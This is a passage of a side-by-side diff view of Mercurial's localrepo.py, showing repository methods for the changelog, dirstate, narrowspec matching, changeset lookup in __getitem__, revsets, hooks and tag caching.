|
1668 | |||
1669 | @storecache(b'obsstore') |
|
1669 | @storecache(b'obsstore') | |
1670 | def obsstore(self): |
|
1670 | def obsstore(self): | |
1671 | return obsolete.makestore(self.ui, self) |
|
1671 | return obsolete.makestore(self.ui, self) | |
1672 |
|
1672 | |||
1673 | @storecache(b'00changelog.i') |
|
1673 | @storecache(b'00changelog.i') | |
1674 | def changelog(self): |
|
1674 | def changelog(self): | |
1675 | # load dirstate before changelog to avoid race see issue6303 |
|
1675 | # load dirstate before changelog to avoid race see issue6303 | |
1676 | self.dirstate.prefetch_parents() |
|
1676 | self.dirstate.prefetch_parents() | |
1677 | return self.store.changelog( |
|
1677 | return self.store.changelog( | |
1678 | txnutil.mayhavepending(self.root), |
|
1678 | txnutil.mayhavepending(self.root), | |
1679 | concurrencychecker=revlogchecker.get_checker(self.ui, b'changelog'), |
|
1679 | concurrencychecker=revlogchecker.get_checker(self.ui, b'changelog'), | |
1680 | ) |
|
1680 | ) | |
1681 |
|
1681 | |||
1682 | @storecache(b'00manifest.i') |
|
1682 | @storecache(b'00manifest.i') | |
1683 | def manifestlog(self): |
|
1683 | def manifestlog(self): | |
1684 | return self.store.manifestlog(self, self._storenarrowmatch) |
|
1684 | return self.store.manifestlog(self, self._storenarrowmatch) | |
1685 |
|
1685 | |||
1686 | @repofilecache(b'dirstate') |
|
1686 | @repofilecache(b'dirstate') | |
1687 | def dirstate(self): |
|
1687 | def dirstate(self): | |
1688 | return self._makedirstate() |
|
1688 | return self._makedirstate() | |
1689 |
|
1689 | |||
1690 | def _makedirstate(self): |
|
1690 | def _makedirstate(self): | |
1691 | """Extension point for wrapping the dirstate per-repo.""" |
|
1691 | """Extension point for wrapping the dirstate per-repo.""" | |
1692 | sparsematchfn = lambda: sparse.matcher(self) |
|
1692 | sparsematchfn = lambda: sparse.matcher(self) | |
1693 | v2_req = requirementsmod.DIRSTATE_V2_REQUIREMENT |
|
1693 | v2_req = requirementsmod.DIRSTATE_V2_REQUIREMENT | |
1694 | use_dirstate_v2 = v2_req in self.requirements |
|
1694 | use_dirstate_v2 = v2_req in self.requirements | |
1695 |
|
1695 | |||
1696 | return dirstate.dirstate( |
|
1696 | return dirstate.dirstate( | |
1697 | self.vfs, |
|
1697 | self.vfs, | |
1698 | self.ui, |
|
1698 | self.ui, | |
1699 | self.root, |
|
1699 | self.root, | |
1700 | self._dirstatevalidate, |
|
1700 | self._dirstatevalidate, | |
1701 | sparsematchfn, |
|
1701 | sparsematchfn, | |
1702 | self.nodeconstants, |
|
1702 | self.nodeconstants, | |
1703 | use_dirstate_v2, |
|
1703 | use_dirstate_v2, | |
1704 | ) |
|
1704 | ) | |
1705 |
|
1705 | |||
1706 | def _dirstatevalidate(self, node): |
|
1706 | def _dirstatevalidate(self, node): | |
1707 | try: |
|
1707 | try: | |
1708 | self.changelog.rev(node) |
|
1708 | self.changelog.rev(node) | |
1709 | return node |
|
1709 | return node | |
1710 | except error.LookupError: |
|
1710 | except error.LookupError: | |
1711 | if not self._dirstatevalidatewarned: |
|
1711 | if not self._dirstatevalidatewarned: | |
1712 | self._dirstatevalidatewarned = True |
|
1712 | self._dirstatevalidatewarned = True | |
1713 | self.ui.warn( |
|
1713 | self.ui.warn( | |
1714 | _(b"warning: ignoring unknown working parent %s!\n") |
|
1714 | _(b"warning: ignoring unknown working parent %s!\n") | |
1715 | % short(node) |
|
1715 | % short(node) | |
1716 | ) |
|
1716 | ) | |
1717 | return self.nullid |
|
1717 | return self.nullid | |
1718 |
|
1718 | |||
1719 | @storecache(narrowspec.FILENAME) |
|
1719 | @storecache(narrowspec.FILENAME) | |
1720 | def narrowpats(self): |
|
1720 | def narrowpats(self): | |
1721 | """matcher patterns for this repository's narrowspec |
|
1721 | """matcher patterns for this repository's narrowspec | |
1722 |
|
1722 | |||
1723 | A tuple of (includes, excludes). |
|
1723 | A tuple of (includes, excludes). | |
1724 | """ |
|
1724 | """ | |
1725 | return narrowspec.load(self) |
|
1725 | return narrowspec.load(self) | |
1726 |
|
1726 | |||
1727 | @storecache(narrowspec.FILENAME) |
|
1727 | @storecache(narrowspec.FILENAME) | |
1728 | def _storenarrowmatch(self): |
|
1728 | def _storenarrowmatch(self): | |
1729 | if requirementsmod.NARROW_REQUIREMENT not in self.requirements: |
|
1729 | if requirementsmod.NARROW_REQUIREMENT not in self.requirements: | |
1730 | return matchmod.always() |
|
1730 | return matchmod.always() | |
1731 | include, exclude = self.narrowpats |
|
1731 | include, exclude = self.narrowpats | |
1732 | return narrowspec.match(self.root, include=include, exclude=exclude) |
|
1732 | return narrowspec.match(self.root, include=include, exclude=exclude) | |
1733 |
|
1733 | |||
1734 | @storecache(narrowspec.FILENAME) |
|
1734 | @storecache(narrowspec.FILENAME) | |
1735 | def _narrowmatch(self): |
|
1735 | def _narrowmatch(self): | |
1736 | if requirementsmod.NARROW_REQUIREMENT not in self.requirements: |
|
1736 | if requirementsmod.NARROW_REQUIREMENT not in self.requirements: | |
1737 | return matchmod.always() |
|
1737 | return matchmod.always() | |
1738 | narrowspec.checkworkingcopynarrowspec(self) |
|
1738 | narrowspec.checkworkingcopynarrowspec(self) | |
1739 | include, exclude = self.narrowpats |
|
1739 | include, exclude = self.narrowpats | |
1740 | return narrowspec.match(self.root, include=include, exclude=exclude) |
|
1740 | return narrowspec.match(self.root, include=include, exclude=exclude) | |
1741 |
|
1741 | |||
1742 | def narrowmatch(self, match=None, includeexact=False): |
|
1742 | def narrowmatch(self, match=None, includeexact=False): | |
1743 | """matcher corresponding the the repo's narrowspec |
|
1743 | """matcher corresponding the the repo's narrowspec | |
1744 |
|
1744 | |||
1745 | If `match` is given, then that will be intersected with the narrow |
|
1745 | If `match` is given, then that will be intersected with the narrow | |
1746 | matcher. |
|
1746 | matcher. | |
1747 |
|
1747 | |||
1748 | If `includeexact` is True, then any exact matches from `match` will |
|
1748 | If `includeexact` is True, then any exact matches from `match` will | |
1749 | be included even if they're outside the narrowspec. |
|
1749 | be included even if they're outside the narrowspec. | |
1750 | """ |
|
1750 | """ | |
1751 | if match: |
|
1751 | if match: | |
1752 | if includeexact and not self._narrowmatch.always(): |
|
1752 | if includeexact and not self._narrowmatch.always(): | |
1753 | # do not exclude explicitly-specified paths so that they can |
|
1753 | # do not exclude explicitly-specified paths so that they can | |
1754 | # be warned later on |
|
1754 | # be warned later on | |
1755 | em = matchmod.exact(match.files()) |
|
1755 | em = matchmod.exact(match.files()) | |
1756 | nm = matchmod.unionmatcher([self._narrowmatch, em]) |
|
1756 | nm = matchmod.unionmatcher([self._narrowmatch, em]) | |
1757 | return matchmod.intersectmatchers(match, nm) |
|
1757 | return matchmod.intersectmatchers(match, nm) | |
1758 | return matchmod.intersectmatchers(match, self._narrowmatch) |
|
1758 | return matchmod.intersectmatchers(match, self._narrowmatch) | |
1759 | return self._narrowmatch |
|
1759 | return self._narrowmatch | |
1760 |
|
1760 | |||
1761 | def setnarrowpats(self, newincludes, newexcludes): |
|
1761 | def setnarrowpats(self, newincludes, newexcludes): | |
1762 | narrowspec.save(self, newincludes, newexcludes) |
|
1762 | narrowspec.save(self, newincludes, newexcludes) | |
1763 | self.invalidate(clearfilecache=True) |
|
1763 | self.invalidate(clearfilecache=True) | |
1764 |
|
1764 | |||
1765 | @unfilteredpropertycache |
|
1765 | @unfilteredpropertycache | |
1766 | def _quick_access_changeid_null(self): |
|
1766 | def _quick_access_changeid_null(self): | |
1767 | return { |
|
1767 | return { | |
1768 | b'null': (nullrev, self.nodeconstants.nullid), |
|
1768 | b'null': (nullrev, self.nodeconstants.nullid), | |
1769 | nullrev: (nullrev, self.nodeconstants.nullid), |
|
1769 | nullrev: (nullrev, self.nodeconstants.nullid), | |
1770 | self.nullid: (nullrev, self.nullid), |
|
1770 | self.nullid: (nullrev, self.nullid), | |
1771 | } |
|
1771 | } | |
1772 |
|
1772 | |||
1773 | @unfilteredpropertycache |
|
1773 | @unfilteredpropertycache | |
1774 | def _quick_access_changeid_wc(self): |
|
1774 | def _quick_access_changeid_wc(self): | |
1775 | # also fast path access to the working copy parents |
|
1775 | # also fast path access to the working copy parents | |
1776 | # however, only do it for filter that ensure wc is visible. |
|
1776 | # however, only do it for filter that ensure wc is visible. | |
1777 | quick = self._quick_access_changeid_null.copy() |
|
1777 | quick = self._quick_access_changeid_null.copy() | |
1778 | cl = self.unfiltered().changelog |
|
1778 | cl = self.unfiltered().changelog | |
1779 | for node in self.dirstate.parents(): |
|
1779 | for node in self.dirstate.parents(): | |
1780 | if node == self.nullid: |
|
1780 | if node == self.nullid: | |
1781 | continue |
|
1781 | continue | |
1782 | rev = cl.index.get_rev(node) |
|
1782 | rev = cl.index.get_rev(node) | |
1783 | if rev is None: |
|
1783 | if rev is None: | |
1784 | # unknown working copy parent case: |
|
1784 | # unknown working copy parent case: | |
1785 | # |
|
1785 | # | |
1786 | # skip the fast path and let higher code deal with it |
|
1786 | # skip the fast path and let higher code deal with it | |
1787 | continue |
|
1787 | continue | |
1788 | pair = (rev, node) |
|
1788 | pair = (rev, node) | |
1789 | quick[rev] = pair |
|
1789 | quick[rev] = pair | |
1790 | quick[node] = pair |
|
1790 | quick[node] = pair | |
1791 | # also add the parents of the parents |
|
1791 | # also add the parents of the parents | |
1792 | for r in cl.parentrevs(rev): |
|
1792 | for r in cl.parentrevs(rev): | |
1793 | if r == nullrev: |
|
1793 | if r == nullrev: | |
1794 | continue |
|
1794 | continue | |
1795 | n = cl.node(r) |
|
1795 | n = cl.node(r) | |
1796 | pair = (r, n) |
|
1796 | pair = (r, n) | |
1797 | quick[r] = pair |
|
1797 | quick[r] = pair | |
1798 | quick[n] = pair |
|
1798 | quick[n] = pair | |
1799 | p1node = self.dirstate.p1() |
|
1799 | p1node = self.dirstate.p1() | |
1800 | if p1node != self.nullid: |
|
1800 | if p1node != self.nullid: | |
1801 | quick[b'.'] = quick[p1node] |
|
1801 | quick[b'.'] = quick[p1node] | |
1802 | return quick |
|
1802 | return quick | |
1803 |
|
1803 | |||
1804 | @unfilteredmethod |
|
1804 | @unfilteredmethod | |
1805 | def _quick_access_changeid_invalidate(self): |
|
1805 | def _quick_access_changeid_invalidate(self): | |
1806 | if '_quick_access_changeid_wc' in vars(self): |
|
1806 | if '_quick_access_changeid_wc' in vars(self): | |
1807 | del self.__dict__['_quick_access_changeid_wc'] |
|
1807 | del self.__dict__['_quick_access_changeid_wc'] | |
1808 |
|
1808 | |||
1809 | @property |
|
1809 | @property | |
1810 | def _quick_access_changeid(self): |
|
1810 | def _quick_access_changeid(self): | |
1811 | """an helper dictionnary for __getitem__ calls |
|
1811 | """an helper dictionnary for __getitem__ calls | |
1812 |
|
1812 | |||
1813 | This contains a list of symbol we can recognise right away without |
|
1813 | This contains a list of symbol we can recognise right away without | |
1814 | further processing. |
|
1814 | further processing. | |
1815 | """ |
|
1815 | """ | |
1816 | if self.filtername in repoview.filter_has_wc: |
|
1816 | if self.filtername in repoview.filter_has_wc: | |
1817 | return self._quick_access_changeid_wc |
|
1817 | return self._quick_access_changeid_wc | |
1818 | return self._quick_access_changeid_null |
|
1818 | return self._quick_access_changeid_null | |
1819 |
|
1819 | |||
1820 | def __getitem__(self, changeid): |
|
1820 | def __getitem__(self, changeid): | |
1821 | # dealing with special cases |
|
1821 | # dealing with special cases | |
1822 | if changeid is None: |
|
1822 | if changeid is None: | |
1823 | return context.workingctx(self) |
|
1823 | return context.workingctx(self) | |
1824 | if isinstance(changeid, context.basectx): |
|
1824 | if isinstance(changeid, context.basectx): | |
1825 | return changeid |
|
1825 | return changeid | |
1826 |
|
1826 | |||
1827 | # dealing with multiple revisions |
|
1827 | # dealing with multiple revisions | |
1828 | if isinstance(changeid, slice): |
|
1828 | if isinstance(changeid, slice): | |
1829 | # wdirrev isn't contiguous so the slice shouldn't include it |
|
1829 | # wdirrev isn't contiguous so the slice shouldn't include it | |
1830 | return [ |
|
1830 | return [ | |
1831 | self[i] |
|
1831 | self[i] | |
1832 | for i in pycompat.xrange(*changeid.indices(len(self))) |
|
1832 | for i in pycompat.xrange(*changeid.indices(len(self))) | |
1833 | if i not in self.changelog.filteredrevs |
|
1833 | if i not in self.changelog.filteredrevs | |
1834 | ] |
|
1834 | ] | |
1835 |
|
1835 | |||
1836 | # dealing with some special values |
|
1836 | # dealing with some special values | |
1837 | quick_access = self._quick_access_changeid.get(changeid) |
|
1837 | quick_access = self._quick_access_changeid.get(changeid) | |
1838 | if quick_access is not None: |
|
1838 | if quick_access is not None: | |
1839 | rev, node = quick_access |
|
1839 | rev, node = quick_access | |
1840 | return context.changectx(self, rev, node, maybe_filtered=False) |
|
1840 | return context.changectx(self, rev, node, maybe_filtered=False) | |
1841 | if changeid == b'tip': |
|
1841 | if changeid == b'tip': | |
1842 | node = self.changelog.tip() |
|
1842 | node = self.changelog.tip() | |
1843 | rev = self.changelog.rev(node) |
|
1843 | rev = self.changelog.rev(node) | |
1844 | return context.changectx(self, rev, node) |
|
1844 | return context.changectx(self, rev, node) | |
1845 |
|
1845 | |||
1846 | # dealing with arbitrary values |
|
1846 | # dealing with arbitrary values | |
1847 | try: |
|
1847 | try: | |
1848 | if isinstance(changeid, int): |
|
1848 | if isinstance(changeid, int): | |
1849 | node = self.changelog.node(changeid) |
|
1849 | node = self.changelog.node(changeid) | |
1850 | rev = changeid |
|
1850 | rev = changeid | |
1851 | elif changeid == b'.': |
|
1851 | elif changeid == b'.': | |
1852 | # this is a hack to delay/avoid loading obsmarkers |
|
1852 | # this is a hack to delay/avoid loading obsmarkers | |
1853 | # when we know that '.' won't be hidden |
|
1853 | # when we know that '.' won't be hidden | |
1854 | node = self.dirstate.p1() |
|
1854 | node = self.dirstate.p1() | |
1855 | rev = self.unfiltered().changelog.rev(node) |
|
1855 | rev = self.unfiltered().changelog.rev(node) | |
1856 | elif len(changeid) == self.nodeconstants.nodelen: |
|
1856 | elif len(changeid) == self.nodeconstants.nodelen: | |
1857 | try: |
|
1857 | try: | |
1858 | node = changeid |
|
1858 | node = changeid | |
1859 | rev = self.changelog.rev(changeid) |
|
1859 | rev = self.changelog.rev(changeid) | |
1860 | except error.FilteredLookupError: |
|
1860 | except error.FilteredLookupError: | |
1861 | changeid = hex(changeid) # for the error message |
|
1861 | changeid = hex(changeid) # for the error message | |
1862 | raise |
|
1862 | raise | |
1863 | except LookupError: |
|
1863 | except LookupError: | |
1864 | # check if it might have come from damaged dirstate |
|
1864 | # check if it might have come from damaged dirstate | |
1865 | # |
|
1865 | # | |
1866 | # XXX we could avoid the unfiltered if we had a recognizable |
|
1866 | # XXX we could avoid the unfiltered if we had a recognizable | |
1867 | # exception for filtered changeset access |
|
1867 | # exception for filtered changeset access | |
1868 | if ( |
|
1868 | if ( | |
1869 | self.local() |
|
1869 | self.local() | |
1870 | and changeid in self.unfiltered().dirstate.parents() |
|
1870 | and changeid in self.unfiltered().dirstate.parents() | |
1871 | ): |
|
1871 | ): | |
1872 | msg = _(b"working directory has unknown parent '%s'!") |
|
1872 | msg = _(b"working directory has unknown parent '%s'!") | |
1873 | raise error.Abort(msg % short(changeid)) |
|
1873 | raise error.Abort(msg % short(changeid)) | |
1874 | changeid = hex(changeid) # for the error message |
|
1874 | changeid = hex(changeid) # for the error message | |
1875 | raise |
|
1875 | raise | |
1876 |
|
1876 | |||
1877 | elif len(changeid) == 2 * self.nodeconstants.nodelen: |
|
1877 | elif len(changeid) == 2 * self.nodeconstants.nodelen: | |
1878 | node = bin(changeid) |
|
1878 | node = bin(changeid) | |
1879 | rev = self.changelog.rev(node) |
|
1879 | rev = self.changelog.rev(node) | |
1880 | else: |
|
1880 | else: | |
1881 | raise error.ProgrammingError( |
|
1881 | raise error.ProgrammingError( | |
1882 | b"unsupported changeid '%s' of type %s" |
|
1882 | b"unsupported changeid '%s' of type %s" | |
1883 | % (changeid, pycompat.bytestr(type(changeid))) |
|
1883 | % (changeid, pycompat.bytestr(type(changeid))) | |
1884 | ) |
|
1884 | ) | |
1885 |
|
1885 | |||
1886 | return context.changectx(self, rev, node) |
|
1886 | return context.changectx(self, rev, node) | |
1887 |
|
1887 | |||
1888 | except (error.FilteredIndexError, error.FilteredLookupError): |
|
1888 | except (error.FilteredIndexError, error.FilteredLookupError): | |
1889 | raise error.FilteredRepoLookupError( |
|
1889 | raise error.FilteredRepoLookupError( | |
1890 | _(b"filtered revision '%s'") % pycompat.bytestr(changeid) |
|
1890 | _(b"filtered revision '%s'") % pycompat.bytestr(changeid) | |
1891 | ) |
|
1891 | ) | |
1892 | except (IndexError, LookupError): |
|
1892 | except (IndexError, LookupError): | |
1893 | raise error.RepoLookupError( |
|
1893 | raise error.RepoLookupError( | |
1894 | _(b"unknown revision '%s'") % pycompat.bytestr(changeid) |
|
1894 | _(b"unknown revision '%s'") % pycompat.bytestr(changeid) | |
1895 | ) |
|
1895 | ) | |
1896 | except error.WdirUnsupported: |
|
1896 | except error.WdirUnsupported: | |
1897 | return context.workingctx(self) |
|
1897 | return context.workingctx(self) | |
1898 |
|
1898 | |||
1899 | def __contains__(self, changeid): |
|
1899 | def __contains__(self, changeid): | |
1900 | """True if the given changeid exists""" |
|
1900 | """True if the given changeid exists""" | |
1901 | try: |
|
1901 | try: | |
1902 | self[changeid] |
|
1902 | self[changeid] | |
1903 | return True |
|
1903 | return True | |
1904 | except error.RepoLookupError: |
|
1904 | except error.RepoLookupError: | |
1905 | return False |
|
1905 | return False | |
1906 |
|
1906 | |||
1907 | def __nonzero__(self): |
|
1907 | def __nonzero__(self): | |
1908 | return True |
|
1908 | return True | |
1909 |
|
1909 | |||
1910 | __bool__ = __nonzero__ |
|
1910 | __bool__ = __nonzero__ | |
1911 |
|
1911 | |||
1912 | def __len__(self): |
|
1912 | def __len__(self): | |
1913 | # no need to pay the cost of repoview.changelog |
|
1913 | # no need to pay the cost of repoview.changelog | |
1914 | unfi = self.unfiltered() |
|
1914 | unfi = self.unfiltered() | |
1915 | return len(unfi.changelog) |
|
1915 | return len(unfi.changelog) | |
1916 |
|
1916 | |||
1917 | def __iter__(self): |
|
1917 | def __iter__(self): | |
1918 | return iter(self.changelog) |
|
1918 | return iter(self.changelog) | |
1919 |
|
1919 | |||
1920 | def revs(self, expr, *args): |
|
1920 | def revs(self, expr, *args): | |
1921 | """Find revisions matching a revset. |
|
1921 | """Find revisions matching a revset. | |
1922 |
|
1922 | |||
1923 | The revset is specified as a string ``expr`` that may contain |
|
1923 | The revset is specified as a string ``expr`` that may contain | |
1924 | %-formatting to escape certain types. See ``revsetlang.formatspec``. |
|
1924 | %-formatting to escape certain types. See ``revsetlang.formatspec``. | |
1925 |
|
1925 | |||
1926 | Revset aliases from the configuration are not expanded. To expand |
|
1926 | Revset aliases from the configuration are not expanded. To expand | |
1927 | user aliases, consider calling ``scmutil.revrange()`` or |
|
1927 | user aliases, consider calling ``scmutil.revrange()`` or | |
1928 | ``repo.anyrevs([expr], user=True)``. |
|
1928 | ``repo.anyrevs([expr], user=True)``. | |
1929 |
|
1929 | |||
1930 | Returns a smartset.abstractsmartset, which is a list-like interface |
|
1930 | Returns a smartset.abstractsmartset, which is a list-like interface | |
1931 | that contains integer revisions. |
|
1931 | that contains integer revisions. | |
1932 | """ |
|
1932 | """ | |
1933 | tree = revsetlang.spectree(expr, *args) |
|
1933 | tree = revsetlang.spectree(expr, *args) | |
1934 | return revset.makematcher(tree)(self) |
|
1934 | return revset.makematcher(tree)(self) | |
1935 |
|
1935 | |||
1936 | def set(self, expr, *args): |
|
1936 | def set(self, expr, *args): | |
1937 | """Find revisions matching a revset and emit changectx instances. |
|
1937 | """Find revisions matching a revset and emit changectx instances. | |
1938 |
|
1938 | |||
1939 | This is a convenience wrapper around ``revs()`` that iterates the |
|
1939 | This is a convenience wrapper around ``revs()`` that iterates the | |
1940 | result and is a generator of changectx instances. |
|
1940 | result and is a generator of changectx instances. | |
1941 |
|
1941 | |||
1942 | Revset aliases from the configuration are not expanded. To expand |
|
1942 | Revset aliases from the configuration are not expanded. To expand | |
1943 | user aliases, consider calling ``scmutil.revrange()``. |
|
1943 | user aliases, consider calling ``scmutil.revrange()``. | |
1944 | """ |
|
1944 | """ | |
1945 | for r in self.revs(expr, *args): |
|
1945 | for r in self.revs(expr, *args): | |
1946 | yield self[r] |
|
1946 | yield self[r] | |
1947 |
|
1947 | |||
1948 | def anyrevs(self, specs, user=False, localalias=None): |
|
1948 | def anyrevs(self, specs, user=False, localalias=None): | |
1949 | """Find revisions matching one of the given revsets. |
|
1949 | """Find revisions matching one of the given revsets. | |
1950 |
|
1950 | |||
1951 | Revset aliases from the configuration are not expanded by default. To |
|
1951 | Revset aliases from the configuration are not expanded by default. To | |
1952 | expand user aliases, specify ``user=True``. To provide some local |
|
1952 | expand user aliases, specify ``user=True``. To provide some local | |
1953 | definitions overriding user aliases, set ``localalias`` to |
|
1953 | definitions overriding user aliases, set ``localalias`` to | |
1954 | ``{name: definitionstring}``. |
|
1954 | ``{name: definitionstring}``. | |
1955 | """ |
|
1955 | """ | |
1956 | if specs == [b'null']: |
|
1956 | if specs == [b'null']: | |
1957 | return revset.baseset([nullrev]) |
|
1957 | return revset.baseset([nullrev]) | |
1958 | if specs == [b'.']: |
|
1958 | if specs == [b'.']: | |
1959 | quick_data = self._quick_access_changeid.get(b'.') |
|
1959 | quick_data = self._quick_access_changeid.get(b'.') | |
1960 | if quick_data is not None: |
|
1960 | if quick_data is not None: | |
1961 | return revset.baseset([quick_data[0]]) |
|
1961 | return revset.baseset([quick_data[0]]) | |
1962 | if user: |
|
1962 | if user: | |
1963 | m = revset.matchany( |
|
1963 | m = revset.matchany( | |
1964 | self.ui, |
|
1964 | self.ui, | |
1965 | specs, |
|
1965 | specs, | |
1966 | lookup=revset.lookupfn(self), |
|
1966 | lookup=revset.lookupfn(self), | |
1967 | localalias=localalias, |
|
1967 | localalias=localalias, | |
1968 | ) |
|
1968 | ) | |
1969 | else: |
|
1969 | else: | |
1970 | m = revset.matchany(None, specs, localalias=localalias) |
|
1970 | m = revset.matchany(None, specs, localalias=localalias) | |
1971 | return m(self) |
|
1971 | return m(self) | |
1972 |
|
1972 | |||
1973 | def url(self): |
|
1973 | def url(self): | |
1974 | return b'file:' + self.root |
|
1974 | return b'file:' + self.root | |
1975 |
|
1975 | |||
1976 | def hook(self, name, throw=False, **args): |
|
1976 | def hook(self, name, throw=False, **args): | |
1977 | """Call a hook, passing this repo instance. |
|
1977 | """Call a hook, passing this repo instance. | |
1978 |
|
1978 | |||
1979 | This a convenience method to aid invoking hooks. Extensions likely |
|
1979 | This a convenience method to aid invoking hooks. Extensions likely | |
1980 | won't call this unless they have registered a custom hook or are |
|
1980 | won't call this unless they have registered a custom hook or are | |
1981 | replacing code that is expected to call a hook. |
|
1981 | replacing code that is expected to call a hook. | |
1982 | """ |
|
1982 | """ | |
1983 | return hook.hook(self.ui, self, name, throw, **args) |
|
1983 | return hook.hook(self.ui, self, name, throw, **args) | |
1984 |
|
1984 | |||
1985 | @filteredpropertycache |
|
1985 | @filteredpropertycache | |
1986 | def _tagscache(self): |
|
1986 | def _tagscache(self): | |
1987 | """Returns a tagscache object that contains various tags related |
|
1987 | """Returns a tagscache object that contains various tags related | |
1988 | caches.""" |
|
1988 | caches.""" | |
1989 |
|
1989 | |||
1990 | # This simplifies its cache management by having one decorated |
|
1990 | # This simplifies its cache management by having one decorated | |
1991 | # function (this one) and the rest simply fetch things from it. |
|
1991 | # function (this one) and the rest simply fetch things from it. | |
1992 | class tagscache(object): |
|
1992 | class tagscache(object): | |
1993 | def __init__(self): |
|
1993 | def __init__(self): | |
1994 | # These two define the set of tags for this repository. tags |
|
1994 | # These two define the set of tags for this repository. tags | |
1995 | # maps tag name to node; tagtypes maps tag name to 'global' or |
|
1995 | # maps tag name to node; tagtypes maps tag name to 'global' or | |
1996 | # 'local'. (Global tags are defined by .hgtags across all |
|
1996 | # 'local'. (Global tags are defined by .hgtags across all | |
1997 | # heads, and local tags are defined in .hg/localtags.) |
|
1997 | # heads, and local tags are defined in .hg/localtags.) | |
1998 | # They constitute the in-memory cache of tags. |
|
1998 | # They constitute the in-memory cache of tags. | |
1999 | self.tags = self.tagtypes = None |
|
1999 | self.tags = self.tagtypes = None | |
2000 |
|
2000 | |||
2001 | self.nodetagscache = self.tagslist = None |
|
2001 | self.nodetagscache = self.tagslist = None | |
2002 |
|
2002 | |||
2003 | cache = tagscache() |
|
2003 | cache = tagscache() | |
2004 | cache.tags, cache.tagtypes = self._findtags() |
|
2004 | cache.tags, cache.tagtypes = self._findtags() | |
2005 |
|
2005 | |||
2006 | return cache |
|
2006 | return cache | |
2007 |
|
2007 | |||
2008 | def tags(self): |
|
2008 | def tags(self): | |
2009 | '''return a mapping of tag to node''' |
|
2009 | '''return a mapping of tag to node''' | |
2010 | t = {} |
|
2010 | t = {} | |
2011 | if self.changelog.filteredrevs: |
|
2011 | if self.changelog.filteredrevs: | |
2012 | tags, tt = self._findtags() |
|
2012 | tags, tt = self._findtags() | |
2013 | else: |
|
2013 | else: | |
2014 | tags = self._tagscache.tags |
|
2014 | tags = self._tagscache.tags | |
2015 | rev = self.changelog.rev |
|
2015 | rev = self.changelog.rev | |
2016 | for k, v in pycompat.iteritems(tags): |
|
2016 | for k, v in pycompat.iteritems(tags): | |
2017 | try: |
|
2017 | try: | |
2018 | # ignore tags to unknown nodes |
|
2018 | # ignore tags to unknown nodes | |
2019 | rev(v) |
|
2019 | rev(v) | |
2020 | t[k] = v |
|
2020 | t[k] = v | |
2021 | except (error.LookupError, ValueError): |
|
2021 | except (error.LookupError, ValueError): | |
2022 | pass |
|
2022 | pass | |
2023 | return t |
|
2023 | return t | |
2024 |
|
2024 | |||
2025 | def _findtags(self): |
|
2025 | def _findtags(self): | |
2026 | """Do the hard work of finding tags. Return a pair of dicts |
|
2026 | """Do the hard work of finding tags. Return a pair of dicts | |
2027 | (tags, tagtypes) where tags maps tag name to node, and tagtypes |
|
2027 | (tags, tagtypes) where tags maps tag name to node, and tagtypes | |
2028 | maps tag name to a string like \'global\' or \'local\'. |
|
2028 | maps tag name to a string like \'global\' or \'local\'. | |
2029 | Subclasses or extensions are free to add their own tags, but |
|
2029 | Subclasses or extensions are free to add their own tags, but | |
2030 | should be aware that the returned dicts will be retained for the |
|
2030 | should be aware that the returned dicts will be retained for the | |
2031 | duration of the localrepo object.""" |
|
2031 | duration of the localrepo object.""" | |
2032 |
|
2032 | |||
2033 | # XXX what tagtype should subclasses/extensions use? Currently |
|
2033 | # XXX what tagtype should subclasses/extensions use? Currently | |
2034 | # mq and bookmarks add tags, but do not set the tagtype at all. |
|
2034 | # mq and bookmarks add tags, but do not set the tagtype at all. | |
2035 | # Should each extension invent its own tag type? Should there |
|
2035 | # Should each extension invent its own tag type? Should there | |
2036 | # be one tagtype for all such "virtual" tags? Or is the status |
|
2036 | # be one tagtype for all such "virtual" tags? Or is the status | |
2037 | # quo fine? |
|
2037 | # quo fine? | |
2038 |
|
2038 | |||
2039 | # map tag name to (node, hist) |
|
2039 | # map tag name to (node, hist) | |
2040 | alltags = tagsmod.findglobaltags(self.ui, self) |
|
2040 | alltags = tagsmod.findglobaltags(self.ui, self) | |
2041 | # map tag name to tag type |
|
2041 | # map tag name to tag type | |
2042 | tagtypes = {tag: b'global' for tag in alltags} |
|
2042 | tagtypes = {tag: b'global' for tag in alltags} | |
2043 |
|
2043 | |||
2044 | tagsmod.readlocaltags(self.ui, self, alltags, tagtypes) |
|
2044 | tagsmod.readlocaltags(self.ui, self, alltags, tagtypes) | |
2045 |
|
2045 | |||
2046 | # Build the return dicts. Have to re-encode tag names because |
|
2046 | # Build the return dicts. Have to re-encode tag names because | |
2047 | # the tags module always uses UTF-8 (in order not to lose info |
|
2047 | # the tags module always uses UTF-8 (in order not to lose info | |
2048 | # writing to the cache), but the rest of Mercurial wants them in |
|
2048 | # writing to the cache), but the rest of Mercurial wants them in | |
2049 | # local encoding. |
|
2049 | # local encoding. | |
2050 | tags = {} |
|
2050 | tags = {} | |
2051 | for (name, (node, hist)) in pycompat.iteritems(alltags): |
|
2051 | for (name, (node, hist)) in pycompat.iteritems(alltags): | |
2052 | if node != self.nullid: |
|
2052 | if node != self.nullid: | |
2053 | tags[encoding.tolocal(name)] = node |
|
2053 | tags[encoding.tolocal(name)] = node | |
2054 | tags[b'tip'] = self.changelog.tip() |
|
2054 | tags[b'tip'] = self.changelog.tip() | |
2055 | tagtypes = { |
|
2055 | tagtypes = { | |
2056 | encoding.tolocal(name): value |
|
2056 | encoding.tolocal(name): value | |
2057 | for (name, value) in pycompat.iteritems(tagtypes) |
|
2057 | for (name, value) in pycompat.iteritems(tagtypes) | |
2058 | } |
|
2058 | } | |
2059 | return (tags, tagtypes) |
|
2059 | return (tags, tagtypes) | |
2060 |
|
2060 | |||
2061 | def tagtype(self, tagname): |
|
2061 | def tagtype(self, tagname): | |
2062 | """ |
|
2062 | """ | |
2063 | return the type of the given tag. result can be: |
|
2063 | return the type of the given tag. result can be: | |
2064 |
|
2064 | |||
2065 | 'local' : a local tag |
|
2065 | 'local' : a local tag | |
2066 | 'global' : a global tag |
|
2066 | 'global' : a global tag | |
2067 | None : tag does not exist |
|
2067 | None : tag does not exist | |
2068 | """ |
|
2068 | """ | |
2069 |
|
2069 | |||
2070 | return self._tagscache.tagtypes.get(tagname) |
|
2070 | return self._tagscache.tagtypes.get(tagname) | |
2071 |
|
2071 | |||
2072 | def tagslist(self): |
|
2072 | def tagslist(self): | |
2073 | '''return a list of tags ordered by revision''' |
|
2073 | '''return a list of tags ordered by revision''' | |
2074 | if not self._tagscache.tagslist: |
|
2074 | if not self._tagscache.tagslist: | |
2075 | l = [] |
|
2075 | l = [] | |
